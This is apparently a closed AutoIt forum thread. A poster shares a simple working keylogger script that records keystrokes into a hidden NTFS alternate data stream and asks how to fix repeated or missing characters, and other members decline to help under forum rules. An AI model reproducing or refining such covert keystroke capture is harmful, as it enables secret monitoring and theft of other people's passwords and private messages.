Sign in to follow this  
Followers 0
MirnesC2

Recording keys

3 posts in this topic

#1 ·  Posted (edited)

Hello, I am trying to make a program some what like a keylogger. But I wont be using this program for any evil purposes, if anything it will be preventing evil! Trying to monitor my kids internet activity more closely so I decided to make a little program to help me out.

Here is my test program. (press "K" to view current content in DATA.dat)

#include <Misc.au3>

$dll = DllOpen("user32.dll")

FileClose(FileOpen(@ScriptDir&"\DATA.dat", 2))
FileClose(FileOpen(@ScriptDir&"\DATA.dat:LOGS", 2))

While 1
    If _IsPressed("4B", $dll) Then
        MsgBox(0, "Content", FileRead(@ScriptDir&"\DATA.dat:LOGS"))
    EndIf

    If _IsPressed("20", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", " ")
        sleep("150")
    EndIf
    If _IsPressed("30", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "0")
        sleep("150")
    EndIf
    If _IsPressed("31", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "1")
        sleep("150")
    EndIf
    If _IsPressed("32", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "2")
        sleep("150")
    EndIf
    If _IsPressed("33", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "3")
        sleep("150")
    EndIf
    If _IsPressed("34", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "4")
        sleep("150")
    EndIf
    If _IsPressed("35", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "5")
        sleep("150")
    EndIf
    If _IsPressed("36", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "6")
        sleep("150")
    EndIf
    If _IsPressed("37", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "7")
        sleep("150")
    EndIf
    If _IsPressed("38", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "8")
        sleep("150")
    EndIf
    If _IsPressed("39", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "9")
        sleep("150")
    EndIf
    If _IsPressed("41", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "a")
        sleep("150")
    EndIf
    If _IsPressed("42", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "b")
        sleep("150")
    EndIf
    If _IsPressed("43", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "c")
        sleep("150")
    EndIf
    If _IsPressed("44", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "d")
        sleep("150")
    EndIf
    If _IsPressed("45", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "e")
        sleep("150")
    EndIf
    If _IsPressed("46", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "f")
        sleep("150")
    EndIf
    If _IsPressed("47", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "g")
        sleep("150")
    EndIf
    If _IsPressed("48", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "h")
        sleep("150")
    EndIf
    If _IsPressed("49", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "i")
        sleep("150")
    EndIf
    If _IsPressed("4A", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "j")
        sleep("150")
    EndIf
;~  If _IsPressed("4B", $dll) Then
;~         FileWrite(@ScriptDir&"\DATA.dat:LOGS", "k")
;~      sleep("150")
;~     EndIf
    If _IsPressed("4C", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "l")
        sleep("150")
    EndIf
    If _IsPressed("4D", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "m")
        sleep("150")
    EndIf
    If _IsPressed("4E", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "n")
        sleep("150")
    EndIf
    If _IsPressed("4F", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "o")
        sleep("150")
    EndIf
    If _IsPressed("50", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "p")
        sleep("150")
    EndIf
    If _IsPressed("51", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "q")
        sleep("150")
    EndIf
    If _IsPressed("52", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "r")
        sleep("150")
    EndIf
    If _IsPressed("53", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "s")
        sleep("150")
    EndIf
    If _IsPressed("54", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "t")
        sleep("150")
    EndIf
    If _IsPressed("55", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "u")
        sleep("150")
    EndIf
    If _IsPressed("56", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "v")
        sleep("150")
    EndIf
    If _IsPressed("57", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "w")
        sleep("150")
    EndIf
    If _IsPressed("58", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "x")
        sleep("150")
    EndIf
    If _IsPressed("59", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "y")
        sleep("150")
    EndIf
    If _IsPressed("5A", $dll) Then
        FileWrite(@ScriptDir&"\DATA.dat:LOGS", "z")
        sleep("150")
    EndIf

WEnd
DllClose($dll)

The problem is that when I type something like "hello how are you" it comes out to something like "helo how ae yo" or "heelo howw arre youu". Is there any way I can fix this? Or a better way to do it other then _IsPressed method?

Edited by MirnesC2

Share this post


Link to post
Share on other sites



To the people on this forum, it doesn't matter what you use a keylogger for, you usually get warned or something and wont get any help.

But good luck.

Share this post


Link to post
Share on other sites

Hello, I am trying to make a program some what like a keylogger.

I know it's not for evil purposes, but someone with evil purposes intended could find this thread.

For those who are asking questions, look in the help file first. I'm tired of people asking stupid questions about how to do things when 10 seconds in the help file could solve their problem.[quote name='JRowe' date='24 January 2010 - 05:58 PM' timestamp='1264381100' post='766337'][quote name='beerman' date='24 January 2010 - 03:28 PM' timestamp='1264372082' post='766300']They already have a punishment system for abuse.[/quote]... and his his name is Valik.[/quote]www.minikori.com

Share this post


Link to post
Share on other sites
Guest
This topic is now closed to further replies.
Sign in to follow this  
Followers 0